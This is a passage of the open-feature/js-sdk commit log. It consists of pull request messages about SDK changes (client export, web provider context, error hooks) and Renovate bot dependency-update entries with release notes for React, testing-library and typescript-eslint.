[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:14:36 -04:00
Lukas Reining 3d197f2ea7
fix: remove export of OpenFeatureClient (#794)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
As discussed here
https://github.com/open-feature/js-sdk/pull/750#discussion_r1450896230,
we should not export `OpenFeatureClient` from the server and web SDK.
The type used outside the SDK should be `Client`, which is also used in
the public APIs like `OpenFeatureApi`.

The question is, if we should mark this as breaking. 
Technically it will break code that imports `OpenFeatureClient` instead
of `Client`, but as @toddbaert said code using it could also be seen as
"used wrong" while being technically fine.

I am still leaning towards marking it as breaking, to be sure we are not
breaking something that is technically fine, just because it is
unintended use. But I could also live with non-beaking.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-05-08 20:41:03 +00:00
Michael Beemer 7e6c1c6e70
feat: set context during provider init on web (#919)
## This PR

- overloads the set provider methods to support defining context in the
web SDK
- updates the web sdk readme

## Related Issues

Fixes https://github.com/open-feature/js-sdk/issues/748

## Notes

I decided to only support setting context in the web SDK because it is
less valuable on the server and the expected behavior was less clear due
to `domains`.

The behavior may need to be spec'd out. An issue in the spec repo has
been created.
https://github.com/open-feature/spec/issues/219

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-08 17:42:34 +00:00
Michael Beemer c6d0b5da9c
fix: run error hook when provider returns reason error or error code (#926)
## This PR

- runs error hook when provider returns reason error or error code

### Related Issues

Fixes #925

### Notes

Based on a conversation in Slack:
https://cloud-native.slack.com/archives/C06E4DE6S07/p1714581197391509

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-05-08 17:38:04 +00:00
Michael Beemer f0de66770b
docs: add tip about supported usage in the install section (#941)
## This PR

- adds tip to node.js about web
- adds tip to web about node.js

### Notes

Related to the PR opened by @dabeeeenster.

https://github.com/open-feature/openfeature.dev/pull/552

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-05-07 20:45:51 +00:00
renovate[bot] d904f3f394
chore(deps): update dependency jest-cucumber to v3.0.2 (#882)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [jest-cucumber](https://togithub.com/bencompton/jest-cucumber) |
[`3.0.1` ->
`3.0.2`](https://renovatebot.com/diffs/npm/jest-cucumber/3.0.1/3.0.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-cucumber/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-cucumber/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-cucumber/3.0.1/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-cucumber/3.0.1/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>bencompton/jest-cucumber (jest-cucumber)</summary>

###
[`v3.0.2`](06cf4384a4...1a9ef75f56)

[Compare
Source](06cf4384a4...1a9ef75f56)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yNjEuMCIsInVwZGF0ZWRJblZlciI6IjM3LjI2MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-06 15:02:34 -04:00
renovate[bot] 413b9f8ec8
chore(deps): update react monorepo to v18.3.1 (#832)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.2.57` ->
`18.3.1`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.57/18.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.57/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.57/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [react](https://reactjs.org/)
([source](https://togithub.com/facebook/react/tree/HEAD/packages/react))
| [`18.2.0` ->
`18.3.1`](https://renovatebot.com/diffs/npm/react/18.2.0/18.3.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/react/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>facebook/react (react)</summary>

###
[`v18.3.1`](a87edf62d7...a87edf62d7)

[Compare
Source](https://togithub.com/facebook/react/compare/v18.3.0...v18.3.1)

###
[`v18.3.0`](https://togithub.com/facebook/react/compare/v18.2.0...a87edf62d7d69705ddbcec9a24f0780b3db7535f)

[Compare
Source](https://togithub.com/facebook/react/compare/v18.2.0...v18.3.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMTIuMCIsInVwZGF0ZWRJblZlciI6IjM3LjMyMS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 18:59:13 +00:00
renovate[bot] 22779d4e46
chore(deps): update dependency @testing-library/react to v15 (#935)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@testing-library/react](https://togithub.com/testing-library/react-testing-library)
| [`^14.2.2` ->
`^15.0.0`](https://renovatebot.com/diffs/npm/@testing-library%2freact/14.3.1/15.0.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/14.3.1/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/14.3.1/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>testing-library/react-testing-library
(@&#8203;testing-library/react)</summary>

###
[`v15.0.6`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.5...b6e59f7d58c69f617cc9854d8c3e6f86c2dfb0e9)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.5...v15.0.6)

###
[`v15.0.5`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.4...f6a1677501b53471f6a989078726aeb0dea114be)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.4...v15.0.5)

###
[`v15.0.4`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.3...48282c2f35fb7338834b40983c12b889af35f5d1)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.3...v15.0.4)

###
[`v15.0.3`](https://togithub.com/testing-library/react-testing-library/releases/tag/v15.0.3)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.2...v15.0.3)

##### Bug Fixes

- Don't raise TypeScript errors when hydating `document`
([#&#8203;1304](https://togithub.com/testing-library/react-testing-library/issues/1304))
([067d0c6](067d0c6d2e))

###
[`v15.0.2`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.1...c63b873072d62c858959c2a19e68f8e2cc0b11be)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.1...v15.0.2)

###
[`v15.0.1`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.0...1645d21950ab8e3c6740b7e51b8a179a4c975c24)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.0...v15.0.1)

###
[`v15.0.0`](https://togithub.com/testing-library/react-testing-library/compare/v14.3.0...787cb85f8baa3d2e2a9916b7dad12c0a76d787a4)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v14.3.1...v15.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 14:52:53 -04:00
renovate[bot] 0666334cb6
chore(deps): update dependency eslint-plugin-jsdoc to v48.2.3 (#857)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`48.2.0` ->
`48.2.3`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.2.0/48.2.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/48.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/48.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.2.0/48.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.2.0/48.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v48.2.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.2...v48.2.3)

##### Bug Fixes

- **`valid-types`:** whitelist pratt parser keywords; fixes
[#&#8203;1221](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1221)
([ab5624b](ab5624be62))

###
[`v48.2.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.1...v48.2.2)

##### Bug Fixes

- add TS `import` tag; fixes
[#&#8203;1218](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1218)
([9e9fed5](9e9fed5000))

###
[`v48.2.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.0...783b4e96eef457715a0bce234730da7bb5ec1a3b)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.0...v48.2.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMzAuMCIsInVwZGF0ZWRJblZlciI6IjM3LjI2OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 14:34:51 -04:00
renovate[bot] 06ed240a8f
chore(deps): update testing-library monorepo (#934)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@testing-library/jest-dom](https://togithub.com/testing-library/jest-dom)
| [`6.4.2` ->
`6.4.4`](https://renovatebot.com/diffs/npm/@testing-library%2fjest-dom/6.4.2/6.4.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2fjest-dom/6.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2fjest-dom/6.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2fjest-dom/6.4.2/6.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2fjest-dom/6.4.2/6.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@testing-library/react](https://togithub.com/testing-library/react-testing-library)
| [`14.2.2` ->
`14.3.1`](https://renovatebot.com/diffs/npm/@testing-library%2freact/14.2.2/14.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/14.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/14.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/14.2.2/14.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/14.2.2/14.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>testing-library/jest-dom
(@&#8203;testing-library/jest-dom)</summary>

###
[`v6.4.4`](https://togithub.com/testing-library/jest-dom/compare/v6.4.3...f03a582827453de6fac4510dcf4fa3148c7ed68a)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.3...v6.4.4)

###
[`v6.4.3`](https://togithub.com/testing-library/jest-dom/compare/v6.4.2...20aca338d09062a2a71f6dd4e0daad65b26f6210)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.2...v6.4.3)

</details>

<details>
<summary>testing-library/react-testing-library
(@&#8203;testing-library/react)</summary>

###
[`v14.3.1`](https://togithub.com/testing-library/react-testing-library/releases/tag/v14.3.1)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v14.3.0...v14.3.1)

##### Bug Fixes

- Stop using nullish coalescing
([#&#8203;1300](https://togithub.com/testing-library/react-testing-library/issues/1300))
([8434a24](8434a24ce7))

###
[`v14.3.0`](https://togithub.com/testing-library/react-testing-library/compare/v14.2.2...9c4a46d5b9923c21c936d206614a8febcc939fc2)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v14.2.2...v14.3.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config help](https://togithub.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 14:32:50 -04:00
renovate[bot] d5283d878a
chore(deps): update typescript-eslint monorepo to v7 (major) (#817)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`^6.21.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/6.21.0/7.8.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/6.21.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/6.21.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`^6.21.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/6.21.0/7.8.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/6.21.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/6.21.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v7.8.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#780-2024-04-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.7.1...v7.8.0)

##### 🩹 Fixes

-   **eslint-plugin:** \[no-unsafe-argument] handle  tagged templates

- **eslint-plugin:** \[prefer-optional-chain] suggests optional chaining
during strict null equality check

- **eslint-plugin:** \[consistent-type-assertions] handle tagged
templates

-   **eslint-plugin:** \[no-unsafe-return] handle union types

-   **eslint-plugin:** \[no-unused-vars] clear error report range

##### ❤️  Thank You

-   auvred
-   Josh Goldberg 
-   jsfm01
-   Kim Sang Du
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.7.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#771-2024-04-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.7.0...v7.7.1)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unsafe-assignment] handle shorthand property
assignment

- **eslint-plugin:** \[explicit-function-return-type] fix checking wrong
ancestor's return type

- **eslint-plugin:** \[prefer-optional-chain] only look at left operand
for `requireNullish`

-   **eslint-plugin:** \[no-for-in-array] refine report location

- **eslint-plugin:** \[no-unnecessary-type-assertion] allow non-null
assertion for void type

##### ❤️  Thank You

-   Abraham Guo
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.7.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#770-2024-04-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.6.0...v7.7.0)

##### 🚀 Features

- **eslint-plugin:** replace `no-new-symbol` with
`no-new-native-nonconstructor`

##### ❤️  Thank You

-   Dave
-   Josh Goldberg 

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.6.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#760-2024-04-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.5.0...v7.6.0)

##### 🚀 Features

-   bump npm dependency ranges

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Brad Zacher

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.5.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#750-2024-04-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.4.0...v7.5.0)

##### 🩹 Fixes

- **eslint-plugin:** \[no-floating-promises] handle
TaggedTemplateExpression

- **eslint-plugin:** \[no-unnecessary-type-assertion] handle
exactOptionalPropertyTypes compiler option

##### ❤️  Thank You

-   Brad Zacher
-   Kim Sang Du
-   Mark de Dios
-   Naru
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.4.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#740-2024-03-25)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.3.1...v7.4.0)

##### 🚀 Features

- **eslint-plugin:** \[consistent-type-imports] ignore files with
decorators, experimentalDecorators, and emitDecoratorMetadata

- **eslint-plugin:** \[no-unnecessary-type-arguments] handle tagged
templates

- **eslint-plugin:** deprecate no-throw-literal and add a renamed
only-throw-error

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-optional-chain] address multipart nullish
checks false positive

- **eslint-plugin:** \[prefer-optional-chain] properly disambiguate
between `boolean` and `false`

- **eslint-plugin:** \[no-unnecessary-type-assertion] avoid remove const
casting on template literals with expressions inside

##### ❤️  Thank You

-   Abraham Guo
-   Brad Zacher
-   Josh Goldberg 
-   Kim Sang Du
-   Kirk Waiblinger
-   Marco Pasqualetti
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.3.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#731-2024-03-18)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.3.0...v7.3.1)

##### 🩹 Fixes

- **eslint-plugin:** \[no-floating-promises] revert disable of
ignoreVoid in strict config

##### ❤️  Thank You

-   Josh Goldberg 

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.3.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#730-2024-03-18)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.2.0...v7.3.0)

##### 🚀 Features

- **eslint-plugin:** \[restrict-template-expressions] add `allowArray`
option

- **eslint-plugin:** add meta.docs.recommended setting for strict config
options

- **eslint-plugin:** add rule `use-unknown-in-catch-callback-variables`

- **eslint-plugin:** \[prefer-reduce-type-parameter] supports tuple,
union, intersection

##### 🩹 Fixes

-   correct `engines.node` constraints in `package.json`

- **eslint-plugin:** \[unbound-method] check method definition in object
literal using longhand form

- **eslint-plugin:** \[consistent-type-imports] handle imports without
specifiers

- **eslint-plugin:** \[no-redundant-type-constituents] incorrectly marks
& string as redundant

- **eslint-plugin:** \[no-unnecessary-qualifier] handle merge namespace
with enum

- **eslint-plugin:** \[no-unused-expressions] false negatives when using
assertions

- **eslint-plugin:** \[ban-ts-comment] more accurate handling of
multiline comments

- **eslint-plugin:** \[explicit-function-return-type,
explicit-module-boundary-types] improved checking for
allowHigherOrderFunctions option

- **eslint-plugin:** \[class-literal-property-style] ignore property
assigned in constructor

- **eslint-plugin:** \[no-unnecessary-type-assertion] fix false negative
for const variable declarations

##### ❤️  Thank You

-   Abraham Guo
-   Alexu
-   Arka Pratim Chaudhuri
-   auvred
-   Derrick Isaacson
-   fnx
-   Josh Goldberg 
-   Kirk Waiblinger
-   Marta Cardoso
-   Michaël De Boey
-   Tristan Rasmussen
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.2.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#720-2024-03-11)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.1.1...v7.2.0)

##### 🚀 Features

-   support TS 5.4

- **eslint-plugin:** \[prefer-string-starts-ends-with] add
allowSingleElementEquality option

##### 🩹 Fixes

-   **eslint-plugin:** expose \*-type-checked-only configs for extension

- **eslint-plugin:** \[member-ordering] report alphabetical sorting for
all groups instead of just the first failing group

- **eslint-plugin:** \[no-var-requires, no-require-imports] support
template literal

- **eslint-plugin:** \[no-useless-template-literals] detect
TemplateLiteral

- **eslint-plugin:** \[no-unnecessary-condition] handle union array and
tuple type

- **eslint-plugin:** \[prefer-find] support ternary branches in
prefer-find

##### ❤️  Thank You

-   Arka Pratim Chaudhuri
-   auvred
-   Chris Plummer
-   Fotis Papadogeorgopoulos
-   Josh Goldberg 
-   Kirk Waiblinger
-   Wayne Zhang
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.1.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#711-2024-03-04)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.1.0...v7.1.1)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
